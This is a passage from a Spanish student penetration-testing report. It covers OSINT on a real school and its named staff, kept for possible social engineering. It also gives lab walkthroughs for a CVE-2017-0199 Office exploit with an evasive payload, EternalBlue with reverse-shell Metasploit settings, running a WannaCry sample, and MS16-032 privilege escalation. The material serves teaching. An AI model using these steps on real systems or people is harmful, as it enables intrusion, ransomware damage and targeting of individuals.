TIC”, automáticamente nos redirige a la página del centro que decía ser el Institut
Ribera Baixa II.
29. 28
Imagen 7.6 Página principal del centro
Y si nos desplazamos por la página, podemos ver el número de teléfono, la dirección,
que coincidía con lo visto además en el plano de Google maps anterior, y la dirección
de correo electrónica corporativa. Como parece que regalan la información,
podemos añadir a nuestra base de datos de conocimiento los perfiles en las redes
sociales de Facebook, Twitter e Instagram del centro.
32. 31
Imagen 7.10 Informacion de contacto del centro
Con la información recabada, aunque sería conveniente, decidimos no buscar más
en otros buscadores, ni aplicar medidas de Google Hacking, al menos, por el
momento.
7.1.3 Whois
Para hacer las búsquedas de Whois consideramos interesante, aunque hay otros
disponibles en el Whois de ICANN (Internet Corporation for Assigned Names and
Numbers, por sus siglas en ingles).
33. 32
Imagen 7.11 Pagina de Whois
En la imagen 5.10 podemos ver la página principal de dicho servicio Whois.
Al buscar el dominio de INS Les Salines nos aparece información muy interesante y
relevante. Alguna ya la teníamos, y con esto la ratificamos una vez más, otra, en
cambio, nos es nueva pero no por ello menos relevante.
34. 33
Imagen 7.12 Resultados de busqueda de inslessalines.cat en whois
Cuando buscamos información en Whois sobre insriberabaixa2 nos aparece menor
cantidad de información la cual no coincide con la información recabada
anteriormente, sin embargo, no podemos descartarla.
Imagen 7.13 Resultado de busqueda de insriberabaixa2.com en whois
7.1.4 Redes Sociales
Buscaremos, con los datos recabados, en las siguientes redes sociales:
- Facebook
- Linkedin
35. 34
- Twitter
Si buscamos por Victor Manuel Lino Martinez, nombre que aparece relacionado con
el dominio www.insriberabaixa2.com, o Miguel Ángel Noval vemos que aparecen
varias opciones posibles pero ninguno se adapta al 100% con lo cual decidimos
pasar al siguiente stage antes de dar por finalizada esta búsqueda.
Imagen 7.14 Perfiles de Facebook para Victor Lino
Al buscar en LinkedIn encontramos información que nos puede ser bastante
interesante. Por un lado, obtenemos a una persona llamada Miguel Ángel Noval
Giralt, que es profesor de la Generalitat de Catalunya y trabaja en el Prat de
Llobregat.
37. 36
Imagen 7.16 Perfil de Miguel Angel Noval Giralt
Imagen 7.17 Nuestras sospechas se terminan de confirmar
Con lo recopilado, sabemos que el dominio www.inslessalines.cat está a nombre del
director del centro INS Les Salines. Con esta información, y con los datos conocidos
hasta ahora, si analizamos un poco lo recopilado, podemos sospechar que Víctor
Manuel Lino es/era un profesor del centro. Valoramos que tenemos suficiente
información, de las redes sociales, sobre el objetivo actualmente, aunque
mantendremos los datos por si en el futuro requerimos realizar un ataque de
ingeniería social.
38. 37
7.1.5 NSlookup
Buscando información en Nslookup, hemos podido obtener la dirección IP de la
página web del centro.
Imagen 7.18 Resultados NsLookup
Como hemos visto, anteriormente, la dirección de email era de la página xtec.cat, con
lo cual es un dominio externo, perteneciente a la Generalitat de Catalunya. Esto hace
que cuando busquemos información de servidor MX no aparezca nada nuevo.
Imagen 7.19 Resultados servidores MX NsLookup
39. 38
8 Penetration testing en Windows
8.1 Preparativos
Para realizar las diversas pruebas de penetración en los sistemas Windows
contaremos con un ordenador equipado con un Intel Core i3 2100 y una placa base
Asus P8H61-M con 4 GB de RAM y 500 GB de disco duro, al cual le instalaremos el
sistema operativo Windows 10 de 64 bits y Microsoft Office 2016.
8.2 Modelado de la amenaza
Durante este primer cuadrimestre de 2017, han surgido diversas vulnerabilidades,
algunas descubiertas por la NSA, y publicadas gracias al robo de malwares del grupo
Shadow Brokers a la citada agencia de espionaje gubernamental, y otras por los
expertos en seguridad informática.
Algunas de las más famosas son el ransomware WannaCry, que para expandirse por
la red requiere de la vulnerabilidad Eternal Blue y la CVE-2017-0199, una
vulnerabilidad de Microsoft Office que permite la ejecución de código malicioso de
manera remota a un atacante. También existen algunas otras que en caso necesario
o de fallo podremos utilizar:
• EARLYSHOVEL RedHat 7.0 - 7.1 Sendmail 8.11.x exploit
• EBBISLAND (EBBSHAVE) root RCE via RPC XDR overflow in Solaris 6, 7, 8, 9
& 10 (possibly newer) both SPARC and x86.
• ECHOWRECKER remote Samba 3.0.x Linux exploit.
• EASYBEE appears to be an MDaemon email server vulnerability
• EASYFUN EasyFun 2.2.0 Exploit for WDaemon / IIS MDaemon/WorldClient
pre 9.5.6
• EASYPI is an IBM Lotus Notes exploit that gets detected as Stuxnet
• EWOKFRENZY is an exploit for IBM Lotus Domino 6.5.4 & 7.0.2
• EXPLODINGCAN is an IIS 6.0 exploit that creates a remote backdoor
• ETERNALROMANCE is a SMB1 exploit over TCP port 445 which targets XP,
2003, Vista, 7, Windows 8, 2008, 2008 R2, and gives SYSTEM privileges
(MS17-010)
• EDUCATEDSCHOLAR is a SMB exploit (MS09-050)
40. 39
• EMERALDTHREAD is a SMB exploit for Windows XP and Server 2003 (MS10-
061)
• EMPHASISMINE is a remote IMAP exploit for IBM Lotus Domino 6.6.4 to 8.5.2
• ENGLISHMANSDENTIST sets Outlook Exchange WebAccess rules to trigger
executable code on the client's side to send an email to other users
• EPICHERO 0-day exploit (RCE) for Avaya Call Server
• ERRATICGOPHER is a SMBv1 exploit targeting Windows XP and Server 2003
• ETERNALSYNERGY is a SMBv3 remote code execution flaw for Windows 8
and Server 2012 SP0 (MS17-010)
• ETERNALBLUE is a SMBv2 exploit for Windows 7 SP1 (MS17-010)
• ETERNALCHAMPION is a SMBv1 exploit
• ESKIMOROLL is a Kerberos exploit targeting 2000, 2003, 2008 and 2008 R2
domain controllers
• ESTEEMAUDIT is an RDP exploit and backdoor for Windows Server 2003
• ECLIPSEDWING is an RCE exploit for the Server service in Windows Server
2008 and later (MS08-067)
• ETRE is an exploit for IMail 8.10 to 8.22
• ETCETERABLUE is an exploit for IMail 7.04 to 8.05
• FUZZBUNCH is an exploit framework, similar to MetaSploit
• ODDJOB is an implant builder and C&C server that can deliver exploits for
Windows 2000 and later, also not detected by any AV vendors
• EXPIREDPAYCHECK IIS6 exploit
• EAGERLEVER NBT/SMB exploit for Windows NT4.0, 2000, XP SP1 & SP2,
2003 SP1 & Base Release
• EASYFUN WordClient / IIS6.0 exploit
• ESSAYKEYNOTE
• EVADEFRED
8.3 Análisis de Vulnerabilidades y enumeración.
Como se ha comentado anteriormente, la fase recolecta de información
(Footprinting) no es posible en este laboratorio pues es un laboratorio montado en
exclusiva para para el aprendizaje sobre el Penetration Testing. Sin embargo, si se
41. 40
pueden llevar a cabo las fases de análisis de vulnerabilidades (Vulnerability
Assessment) en la cual nos centraremos en buscar las vulnerabilidades conocidas
para el objetivo, así como el estado de los puertos (filtrado, abierto, cerrado). Para
ello usaremos herramientas las siguientes herramientas:
- Nmap
- Nessus
- Smbclient
- Hping3
- DNSenum
- PsTools
8.3.1 Nmap
El primer programa de los utilizados es Nmap. Dicho programa está fundamentado
en el código abierto y entre sus utilidades está el rastreo de puertos y sondear redes
de computadores, incluyendo detección de equipos, servicios y sistemas operativos.
Además, estas funciones, mediante el uso de scripts, son extensibles para proveer
servicios de detección avanzados, detección de vulnerabilidades y otras
aplicaciones. Por si fuera poco, puede adaptarse, durante los escaneos, a las
condiciones de la red, incluyendo latencia y congestión.
8.3.1.1 Evaluación del objetivo
Durante la evaluación del objetivo con Nmap llevamos a cabo varias pruebas,
algunas más “intrusivas” y detectables por el objetivo y otras más sigilosas. La lista
de pruebas de Nmap usadas son:
• Nmap -sV -T4 -O -F –versión-light 10.212.21.116
• Nmap -p 1-65535 -T4 -A -v 10.212.21.116
• Nmap -sN -T5 10.212.21.116
• Nmap -v -O -Pn -n 10.212.21.116
• Nmap -f -n -P0 -v -p- -T4 10.212.21.116
42. 41
8.3.1.1.1 Nmap -sV -T4 -O -F –versión-light 10.212.21.116
Imagen 8.1 Resultados prueba 1 NMAP
En esta evaluación, como se observa en la imagen 6.1, se realiza un comando
conocido como Quick Scan Plus. Este comando, realiza un escaneo rápido de los 100
puertos más comunes y además realiza una detección rápida del sistema operativo
objetivo y la versión del mismo.
En la imagen podemos observar que los puertos TCP 135, 139 y 445 estaban
abiertos. Estos puertos fueron famosos recientemente por una vulnerabilidad
descubierta por la NSA en el protocolo Samba que permitía la ejecución de código
malicioso remoto, lo que dio pie a la gran infección por WannaCry, en la que se
vieron envueltas miles de empresas y países, entre ellas Telefonica o el NHS
(National Health Service, por sus siglas en Ingles) del Reino Unido.
43. 42
8.3.1.1.2 Nmap -p 1-65535 -T4 -A -v 10.212.21.116
Imagen 8.2 Resultados prueba 2 NMAP
Como se ve en la imagen 6.2, acto seguido decidimos realizar un Intense Scan, salvo
que decidimos aumentar el rango de puertos a todos los del rango TCP, en vez de
limitarlos a los 1000 más comunes. De esta manera, pudimos descubrir también
nuevos puertos abiertos del servicio Microsoft Windows RPC, los cuales habían
pasado desapercibidos en la vez anterior.
44. 43
8.3.1.1.3 Nmap -sN -T5 10.212.21.116
Imagen 8.3 Resultado prueba 3 NMAP
A continuación, decidimos realizar un análisis enviando paquetes tcp nulos para
despistar a un posible firewall de nuestra presencia. Gracias a esto podremos saber
si un puerto está abierto/filtrado o bien está cerrado.
45. 44
8.3.1.1.4 Nmap -v -O -Pn -n 10.212.21.116
Imagen 8.4 Resultado prueba 4 NMAP
Como habíamos visto anteriormente, ningún escáner nos podía indicar con
exactitud el sistema operativo y la versión del mismo. Podíamos suponer que era un
sistema Windows por los servicios Microsoft Windows RPC descubiertos, pero poco
más, por eso decidimos investigar un poco más al respecto con este comando de
Nmap. Por desgracia, este comando también falla, pero el hecho de que este
comando también falle al descubrir el sistema operativo puede ser una señal que
indique que se trataría de una versión muy reciente o modificada del mismo. Como
los sistemas Windows son de código cerrado, descartamos la posibilidad de que sea
un sistema modificado al uso.
46. 45
8.3.1.1.5 Nmap -f -n -P0 -v -p- -T4 10.212.21.116
Imagen 8.5 Resultado prueba 5 NMAP
En esta ocasión para terminar de cuadrar que puertos están abiertos y cuales no tras
un firewall podemos usar la opción -f para fragmentar paquetes, -n para la no-
resolucion DNS y P0 para asumir que esta iniciado el objetivo.
8.3.2 Nessus
Para escanear vulnerabilidades en el entorno de pruebas utilizaremos Nessus. Dicho
programa, actúa en dos fases: en la primera fase hace un escaneo de los puertos con
Nmap, o su propio scanner de puertos, en busca de puertos activos y en base a los
resultados prueba, en la segunda fase, con los exploits conocidos para atacar los
puertos que se detectaron abiertos.
Las pruebas de vulnerabilidad se realizan con plugins/scripts escritos en NASL
(Nessus Attack Scripting Language) un lenguaje scripting optimizado para
interacciones personalizadas en redes.
Una cosa que puede ser bastante relevante de esta herramienta es que se pueden
exportar los resultados en diversos formatos (XML, PDF (requiere de java en el
47. 46
servidor Nessus), CSV, HTML, entre otros) lo que permite una gran integración con
herramientas como Metasploit.
8.3.2.1 Evaluación del objetivo
Nessus es una herramienta bastante sencilla de utilizar, pues su interfaz web nos
simplifica muchísimo el trabajo. Por si fuera poco, en cada vulnerabilidad o dato
extraído del análisis da una pequeña explicación y hace una valoración e indica
alguna solución al respecto.
Imagen 8.6 Pagina principal Nessus
Como vemos en la imagen 6.3, hay varias opciones de configuración, pero muchas
de ellas requieren una versión con licencia de pago. Para nuestro caso, la mejor es el
Advanced Scan, pues el resto o van enfocadas a casos especiales de seguridad, en los
cuales se requieren muchas veces datos mayores de los disponibles por nosotros, o
se quedan en la superficie de lo que queremos analizar.
49. 48
Imagen 8.8 Pantalla de estado de los Scans de Nessus
En la imagen 6.4 podemos apreciar el menú principal de configuración. EN las
opciones avanzadas veremos cosas interesantes como la automatización de
escaneos según hora y día, opciones para esquivar las soluciones IDS/IPS, etc. Una
vez finalizada la configuración de los escaneos veremos algo parecido a la imagen
6.5. Si le damos a iniciar (Launch) podremos indicar si deseamos hacerlo con la
configuración default o por el contrario queremos un escáner más a nuestra medida.
50. 49
Imagen 8.9 Advanced Scan en funcionamiento
Durante el escáner, en esta pestaña podremos ver el avance del mismo donde
podremos ver el listado de objetivos descubiertos y las vulnerabilidades y avisos
recibidos.
Imagen 8.10 Resultados de la prueba Nessus
51. 50
Cuando el análisis haya finalizado, veremos algo parecido a esto donde se muestra
los avisos y vulnerabilidades, con su gravedad, descubiertas. En este caso,
reafirmando lo descubierto con Nmap, hay una vulnerabilidad en Samba. Además,
podemos ver que, como intuíamos, el sistema operativo del objetivo es Windows 10
8.3.3 Smbclient
La siguiente herramienta podríamos decir que es una herramienta de andar por casa
pues aunque su idea de uso, permitir a los clientes samba acceder a los recursos en
los servidores SMB/CIFS, nos permite en la fase de Vulnerability Assessment
generar una Null Session en la maquina objetivo con la finalidad de llamar a API’s y
usar llamadas a procedimientos remotos para enumerar información. Estas técnicas
pueden y otorgaran información relativa a contraseñas, grupos, usuarios, e incluso
procesos activos. Además, con los ataques Null Session se pueden elevar privilegios
y obtener ataques DoS (Denial of Service).
8.3.3.1 Evaluación del objetivo
Imagen 8.11 Resultados del Null Session con smbclient
La imagen 6.7 no da lugar a dudas, al intentar realizar un login anónimo con una Null
Session de Samba, nos indica que la opción “syslog” está obsoleta y por esa razón
nos muestra los errores NT_STATUS_ACCESS_DENIED y
NT_STATUS_RESOURCE_NAME_NOT_FOUND. Por suerte, la poca información que
nos otorga, es el nombre del equipo DESKTOP-M2NDNTJ y la versión Windows 10
Pro compilación 15063.
8.3.4 Hping3
52. 51
Hping3 es una aplicación de terminal para Linux que nos permite analizar y
modificar fácilmente paquetes TCP/IP. A diferencia de un Ping convencional, que
utiliza paquetes ICMP, HPing3 permite el envío de paquetes TCP, UDP y RAW-IP.
Además, puede ser utilizada para fines de seguridad como, probar la eficacia de un
firewall a través de diferentes protocolos, la detección de paquetes sospechosos o
modificados e incluso probar la protección frente a ataques DoS de un sistema o un
Firewall.
8.3.4.1 Evaluación del objetivo
Imagen 8.12 Resultados de la prueba, haciendo bypass al firewall, con hPing3
Aquí podemos ver, una vez más, que como afirmaba Nessus y Nmap los puertos 135,
139 y 445 están abiertos y son vulnerables.
8.3.5 DNSenum
Esta fue una herramienta diseñada con el propósito de enumerar información DNS
sobre un dominio. La información que se puede obtener con esta herramienta
cuando nos vamos a disponer a realizar una prueba de penetración al dominio
respectivo. El modo de funcionamiento de DNSenum es el siguiente: tras lanzar la
consulta, DNSenum, comenzará a consultar los servidores DNS. El primer dato que
obtendremos es la dirección del host. Después, obtiene los servidores de nombres
que nos permitirá tener una información del proveedor de alojamiento que se está
53. 52
utilizando y finalmente el registro MX del que obtendremos información sobre el
servidor de correo de nuestro objetivo.
8.3.5.1 Evaluación del objetivo
Imagen 8.13 Resultados DNSEnum
En la imagen 6.9 podemos observar que ante un intento de enumeración dns no
logramos obtener resultado alguno.
8.3.6 PsTools
Normalmente, un scanner de vulnerabilidades solo mostrará posibles
vulnerabilidades que explotar. Una herramienta de escaneo como Nmap puede
decirte algo sobre los sistemas escaneados, pero manualmente será muy complicado
de testear manualmente con herramientas específicas que una vulnerabilidad es
real y el sistema puede ser penetrado y explotado. Algunas aplicaciones como
Nessus tienen plugins muy bien desarrollados para testeo, pero siguen sin penetrar
en el sistema salvo que se configuren los plugins o scripts para ello.
A veces, querrás probar herramientas por separado que confirmen la existencia del
problema. A menudo podrás hacer eso con herramientas administrativas habituales.
En las redes Windows a menudo con las herramientas GUI no son efectivas para ello.
Por suerte, existen las PsTools.
8.3.6.1 Evaluación del objetivo
Para llevar a cabo la evaluación utilizamos el siguiente conjunto de herramientas
tanto de 32 como de 64 bits de las PsTools:
54. 53
• Psfile
• PsGetsid
• PsInfo
• PsList
• PsService
8.3.6.1.1 Psfile
Imagen 8.14 Prueba PsTools: Psfile
Imagen 8.15 Prueba PsTools: Psfile64
Como podemos ver en las dos imágenes en ambos casos nos indica que el acceso esta
denegado por la falta de credenciales validas, cosa de la cual no disponemos, cosa
que, en avance, podemos decir que ocurrirá en el resto de pruebas de las PsTools.
56. 55
8.3.6.1.4 PsList
Imagen 8.18 Prueba PsTools: PsList
8.3.6.1.5 PsService
Imagen 8.19 Prueba PsTools: PsService
8.4 Explotación
Tras haber recolectado información sobre el objetivo y sus vulnerabilidades y
posibles brechas de seguridad es el momento de poner toda esa información en
juego y buscar los medios más apropiados para penetrar en el sistema. Las
herramientas usadas en este apartado son diversas y muchas veces supletorias unas
de otras, es decir, hay muchas herramientas con funciones similares y, en algunos,
ni siquiera son necesarias estas herramientas, pero para ello se requiere de una gran
habilidad de programación. En mi caso, usaremos las siguientes aplicaciones:
- Metasploit
- Htattack
57. 56
- Veil-evassion
Durante esta fase, buscaremos exploits que nos permitan introducirnos en el
objetivo. En ningún caso, durante esta fase, robaremos datos, o manipularemos,
maliciosamente, el equipo. Por poner un símil, durante esta fase, somos los ladrones
que tras conocer a su víctima y su lugar de residencia deciden acceder al interior de
la misma, en esta fase, solo utilizaremos las herramientas nos permitan obtener
dicho objetivo.
8.4.1 Metasploit
Metasploit es un proyecto código abierto para profesionales de la seguridad
informática que proporciona información acerca de vulnerabilidades de seguridad
y ayuda en pruebas de penetración y el desarrollo de firmas de detección de
intrusos. El subproyecto más importante es Metasploit Framework, una
herramienta para desarrollar y ejecutar exploits contra una maquina remota. Según
las necesidades tenemos diversas interfaces para Metasploit disponibles.
8.4.1.1 Edición Metasploit
Versión gratuita, contiene una interfaz de línea de comandos, la importación de
terceros, la explotación manual y fuerza bruta.
8.4.1.2 Edición Community Metasploit
En octubre de 2011, Rapid7 liberó Metasploit Community Edition, una interfaz de
usuario gratuita basada en la web para Metasploit. Metasploit Community incluye,
detección de redes, navegación por módulo y la explotación manual.
8.4.1.3 Metasploit express
En abril de 2010, Rapid7 liberó Metasploit Express, una edición comercial de código
abierto, para los equipos de seguridad que necesitan verificar vulnerabilidades.
Ofrece una interfaz gráfica de usuario, integra nmap para el descubrimiento, y añade
fuerza bruta inteligente, así como la recopilación de pruebas automatizado.
58. 57
8.4.1.4 Metasploit Pro
En octubre de 2010, Rapid7 añadio Metasploit Pro, de código abierto para pruebas
de penetración. Metasploit Pro incluye todas las características de Metasploit
express y añade la exploración y explotación de aplicaciones web.
8.4.1.5 Armitage
Herramienta de gestión grafica para ciberataques del Proyecto Metasploit, ayuda a
la visualización y recomienda métodos de ataque. Es una herramienta para
ingenieros en seguridad web y es de código abierto. Permite sesiones compartidas,
datos y comunicación a través de una única instancia Metasploit.
8.4.2 Veil
Es una herramienta diseñada para generar payloads para metasploit con capacidad
para no ser detectados por la mayoría de las soluciones antivirus.
8.4.3 Prueba de explotación: CVE – 2017-0199
Para poner a prueba la seguridad del sistema decidimos atacar la vulnerabilidad CVE
– 2017 – 0199 que permite a un atacante remoto abrir un backdoor en el paquete
Microsoft Office. Para llevar a cabo la explotación es necesario:
• Una distribución Linux
• Veil-evasion
• Htattack
• Metasploit
Los pasos a seguir durante el proceso de explotación son los siguientes:
1-. Creamos con el comando touch un documento de office (*.docx, *.doc, etc.) y lo
situamos en la carpeta del servicio apache2 (/var/www/html).
Imagen 8.20 Creacion del archivo informacion.doc en /var/www/html
59. 58
2-. Con Veil-evasion, seleccionamos uno de los 51 payloads disponibles, en mi caso
seleccioné el número 30, al tener el meterpreter y poder ser ofuscado fácilmente con
Pyherion
2.1-. Una vez seleccionado, con el comando “set” modificamos los valores LHOST,
LPORT (solo si deseamos que escuche por otro puerto) y el USE_PYHERION (si
usamos un exploit de pyhton).
Imagen 8.21 Configuracion del payload, el handler y el meterpreter con Veil-evassion
2.2-. Acto seguido, con el comando “generate”, generamos el payload. Nos será
solicitado un nombre para el payload y el ofuscador deseado. El nombre del payload
es irrelevante pero el ofuscador es aconsejable dejar la opción por defecto.
60. 59
Imagen 8.22 Nombre del payload
Imagen 8.23 Obfuscación del payload
3-. Vamos a la carpeta (/var/lib/veil-evasion/output/compiled/) y copiamos el
payload de esa carpeta a (/var/www/html)
61. 60
Imagen 8.24 Carpetas contenedoras de los payload, handler y meterpreter
4-. Iniciamos el servicio de apache2.
5-. En una maquina con Windows y Microsoft Office, abrimos un documento de
Word y en la pestaña “Insertar” le indicamos que deseamos insertar un objeto desde
un archivo. Insertamos la dirección al documento Word de apache y marcamos la
casilla “Vincular al archivo”. Damos a aceptar para cerrar la pestaña y guardamos el
documento con formato RTF.
Imagen 8.25 Insertamos el objeto
62. 61
Imagen 8.26 Elegimos el documento a insertar
Imagen 8.27 Guardamos el documento en formato RTF
6-. Abrimos con el bloc de notas el documento RTF y buscamos “obj”. Entre object
y objautlink insertamos objupdate. Guardamos los cambios y salimos.
63. 62
Imagen 8.28 Abrimos el documento RTF con el bloc de notas
Imagen 8.29 Buscamos la palabra clave ‘obj’
Imagen 8.30 Buscamos la palabra clave ‘obj’
Imagen 8.31 Entre object y objautlink añadimos objupdate
7-. Paramos el servicio apache2 e iniciamos htattack con el siguiente comando
Python htattack.py -u <url_al_payload>.
64. 63
Imagen 8.32 Descargamos htattack
Imagen 8.33 Paramos el servicio apache 2 e iniciamos htattack
8-. Vamos a la carpeta /var/lib/veil-evasion/output/handlers y con el comando
msfconsole -r <nombre_handler>.rc lo iniciamos.
Imagen 8.34 Inicamos el handler para permanecer a la escucha
65. 64
9-. Volvemos a la maquina Windows y abrimos el documento rtf con Word. Nos
preguntará si deseamos que el archivo actualice por red el objeto incrustado, si todo
ha ido bien, dará igual la respuesta, el troyano ya estará en el equipo. Se ha realizado
la explotación.
Por desgracia, en mi prueba tanto en sistemas Windows 10 de 32 bits, con en 64 bits
dicha penetración no tuvo el éxito. Esto puede ser debido a que la vulnerabilidad fue
descubierta a mediados de abril de 2017 y hoy ya está parcheada desde inicios de
mayo. Como Windows 10 es auto actualizable y en W7, con actualizaciones
desactivadas, la prueba también fue infructuosa., decidimos probar con los exploits
de la NSA, obtenidos por Shadow Broker, EternalBlue y DoublePulsar.
8.4.4 EternalBlue y DoublePulsar
EternalBlue aprovecha una vulnerabilidad en la implementacion del protocolo
Server Message Block (SMB) de Microsoft. Esta vulnerabilidad, denotada como
CVE-2017-0144 en el catálogo Common Vulnerabilities and Exposures (CVE), se
debe a que la version 1 del servidor SMB (SMBv1) acepta en varias versiones de
Microsoft Windows paquetes específicos de atacantes remotos, permitiéndoles
ejecutar código en el ordenador en cuestión.
Los pasos a seguir para realizar una infección con EternalBlue y DoublePulsar son
los siguientes:
1-. Abrimos alguna de las variantes de Metasploit, en mi caso msfconsole, y
buscamos el scanner auxiliar alojado en auxiliary/Windows/smb/smb_ms17_010.
Con el comando use y el nombre entramos en la pantalla de configuración.
2-. Configuramos el scanner con la dirección IP de la víctima, en nuestro caso
192.168.91.145, para ello usamos el comando “set RHOSTS <ip-de-la(s)-
victima(s)>”. Una vez finalizado, ejecutamos el comando exploit, o algún otro que
realice la misma función (run, rerun, etc.)
3-. Cuando nos aparezca el resultado, sabremos si nuestra víctima es, o no,
vulnerable al exploit EternalBlue y DoublePulsar. De ser vulnerable, procedemos a
descargar el exploit, enlace en la Bibliografia.
66. 65
4-. Una vez descargado, copiamos el exploit, será el fichero llamado
Eternalblue_Doublepulsar.rb en la carpeta donde se almacenan las librerías de
Metasploit, /usr/share/metasploit-framework/modules/exploits/Windows/smb.
Volvemos a msfconsole y realizamos un “Reload_all” que recheckeara la base de
datos de exploits y herramientas.
5-. Con el comando search de msfconsole buscaremos el exploit. Una vez
localizado, le indicaremos a msfconsole con el comando use que lo utilice y
pasaremos a configurarlo.
6-. Setearemos el RHOST con la ip de la víctima, LHOST con la ip nuestra, LPORT
con el puerto que queremos usar para recibir los del exploit, el PAYLOAD con
Windows/x64/meterpreter/reverse_tcp, el PROCESSINJECT como explorer.exe, y
DOUBLEPULSARPATH y ETERNALBLUEPATH con la dirección de descarga de la
carpeta del exploit y, dentro de esta, la carpeta /deps. En mi caso, fue algo asi:
- Set RHOST 192.168.91.145
- Set LHOST 192.168.91.143
- Set LPORT 4444
- Set PAYLOAD Windows/x64/meterpreter/reverse_tcp
- Set PROCESSINJECT explorer.exe
- Set DOUBLEPULSARPATH ~/Desktop/EternalBlue-DoublePulsar-
Metasploit/deps
- Set ETERNALBLUEPATH ~/Desktop/EternalBlue-DoublePulsar-
Metasploit/deps
7-. Para finalizar la explotación, ejecutaremos el comando “exploit”, el cual iniciará
el proceso de explotación y nos generará una consola reversa con privilegios de
usuario común.
8-. Si deseáramos comprobar nuestra penetración podríamos ejecutar en la
consola del meterpreter los comandos getuid y sysinfo. Si intentáramos realizar un
comando para el cual se requiriesen privilegios elevados como getsystem, por
ejemplo, se nos notificaría un fallo al intentar realizar una tarea sin los privilegios
adequados.
67. 66
En este enlace podremos ver el proceso realizado de manera práctica:
https://www.youtube.com/watch?v=ivnv7QiwmhU
68. 67
8.5 Post-Explotación
En esta fase, una vez ya hemos obtenido el acceso y el control del sistema, cosas que
se obtienen en la fase de explotación, procedemos al robo de credenciales, a
mantener el acceso aun cuando la maquina se apague o reinicie, a realizar ataques a
terceros, etc.
Las herramientas de post-explotación son múltiples dependiendo lo que queramos
obtener. Tanto se puede usar la simple consola de comandos para robar información
como infectar el sistema con (Virus, Troyanos, Ransomware, etc.). En nuestro caso
probaremos como se expande por la red el famoso ransomware WannaCry. Para
ello, variaremos el laboratorio, cambiando el Windows 10 (debido a las
actualizaciones automáticas de Windows 10, dicho ransomware no llegó a cifrar
ningún archivo) por Windows Server 2012 y añadiendo un Windows 7.
8.5.1 Ransomware Wannacry
Para montar dicho laboratorio fueron necesarias las siguientes herramientas:
• Maquina virtual con Windows 7
• Maquina virtual con Windows Server 2012
• Maquina virtual con una distribución Linux con Wireshark (en nuestro caso,
Kali Linux)
• Telegram en la maquina Windows Server 2012
Para evitar males mayores se configuraron las maquinas con interfaz de red en red
interna e interconectadas entre ellas, pero no con el quipo host.
Las IP’s de cada máquina durante la prueba son:
• Windows Server 2012 -> 192.168.91.133
• Windows 7 -> 192.168.91.131
• Kali Linux -> 192.168.91.130
Lo primero que hicimos fue descargar una muestra de dicho ransomware. Para ello,
fuimos al canal de Telegram x000’s Channel y nos descargamos la muestra existente.
69. 68
Imagen 8.35 Descargamos el ransomware
Acto seguido, tal y como muestra, la imagen, lo descomprimimos. Nos quedará un
archivo WannaCry.INFECTED, lo renombramos por WannaCry.exe y lo ejecutamos.
Imagen 8.36 Extraemos el zip y renombramos wannacry.infected por wannacry.exe
Imagen 8.37 Archivos creados por wannacry al ejecutarse
Tras iniciarlo, como se ve en la imagen 6.29, veremos que crea multitud archivos que
suponemos son necesarios para su funcionamiento. Como se aprecia, dichos
documentos, tienen extensión .wnry, una de las usadas por el propio ransomware,
lo que nos dificultará saber cuál es su contenido.
Al poco tiempo, empezará a cifrar, los archivos y la carpeta donde antes teníamos
nuestros documentos quedará cifrada. Cuando dicho proceso termine, se nos
cambiará el fondo de pantalla del escritorio y nos aparecerá un cartel
70. 69
informándonos del secuestro de nuestros archivos y del pago a realizar antes de que
se elimine la clave privada que, supuestamente, descifrará nuestros archivos.
Imagen 8.38 Continuan creandose archivos
71. 70
Imagen 8.39 Archivos cifrados por wannacry
Imagen 8.40 Cambio de fondo automatico por wannacry
72. 71
Imagen 8.41 Aviso de peticion de pago de wannacry
En la carpeta compartida con Windows 7, veremos que también se cifran los datos.
En las diversas horas que llegué a dejar el experimento funcionando, solo fue capaz
de cifrar la carpeta compartida entre ambos Windows.
Imagen 8.42 Ciframiento de archivos en la carpeta compartida
8.5.2 MS16-032
La vulnerabilidad MS16-032 se trata de una vulnerabilidad que podría permitir la
elevación de privilegios si el servicio de inicio de sesión secundario de Windows
falla al administrar correctamente los identificadores de solicitud en la memoria.
73. 72
Para llevar a cabo esta fase de post-explotación, es necesario ya tener previamente
acceso al sistema, ya sea de manera remota o local, así que supondremos que se
realiza acto seguido a la fase de explotación. Para el laboratorio, realmente, da igual
el orden, pero en un caso real, lo más probable, es que lo primero que realizaríamos
sería un proceso de post-explotación que nos permitiese mantener el acceso,
aunque el equipo se apagara, se suspendiera o reiniciase.
Las fases para obtener el aumento de privilegios son las siguientes:
1-. Con el comando msfvenom codificamos, en un .exe, una consola reversa tcp y la
guardamos en nuestra carpeta.
2-. Utilizando el meterpreter (m1), con el comando upload, subiremos el
meterpreter (m2), al equipo infectado.
3-. Buscamos el exploit ms16-032, podremos conseguirlo de Internet o desde la base
de datos local de exploitdb, en Kali Linux, y lo copiamos en la carpeta /tmp.
4-. Con un editor de texto, buscamos en exploit las líneas que hacen referencia al
ejecutable de CMD y lo modificamos por la ruta, en el ordenador de la víctima, donde
hemos dejado el meterpreter (m2) que subimos anteriormente.
5-. En el meterpreter (m1), cargaremos el módulo Powershell y, a continuación,
haremos un Powershell_import para importar el exploit.
6-. En una consola aparte, ejecutaremos otra instancia de msfconsole y usaremos el
auxiliary/multi/handler. Configuraremos los valores de LHOST, LPORT y PAYLOAD,
para que coincidan con los del meterpreter (m2) y, seguidamente, haremos un
comando run para que inicie su ejecución.
7-. Ejecutaremos en el meterpreter (m1), el comando Powershell_execute para
ejecutar el exploit importado. Nos aparecerá una pantalla y podremos ver que en el
handler nos ha aparecido una nueva consola reversa de meterpreter (m3). Si
realizamos los mismos comandos de antes, getuid y sysinfo, ya debería informarnos
de que tenemos privilegios de SYSTEM.
A partir del minuto 13:17, podremos ver en el siguiente enlace el video de la fase de
post-explotacion: https://www.youtube.com/watch?v=ivnv7QiwmhU
74. 73
9 Penetration Testing en Linux
Debido a falta de material para montar el laboratorio para Linux y a retrasos y
necesidades de tiempo de mis compañeros Javier Boix y David Romero, me ha sido
imposible llegar a cabo las pruebas de penetración en Linux.
75. 74
10 Conclusiones
Bien, llegados a este punto podemos comentar algunas cosas sobre seguridad. Tras
todas las pruebas realizadas, y con la experiencia que me llega, puedo afirmar unas
cuantas cosas:
• Es cierto, que toda posibilidad de brecha es peligrosa pero aun así no todas
tienen la misma peligrosidad. Así podemos ver, que con MS17-0199 las
posibilidades de penetración, aunque sencillas de llevar a cabo, no siempre
son tan efectivas como pudiera parecer.
• Conviene tener el sistema operativo y las aplicaciones actualizadas.
• La descarga de aplicaciones debe de hacerse desde sitios legales y de
confianza
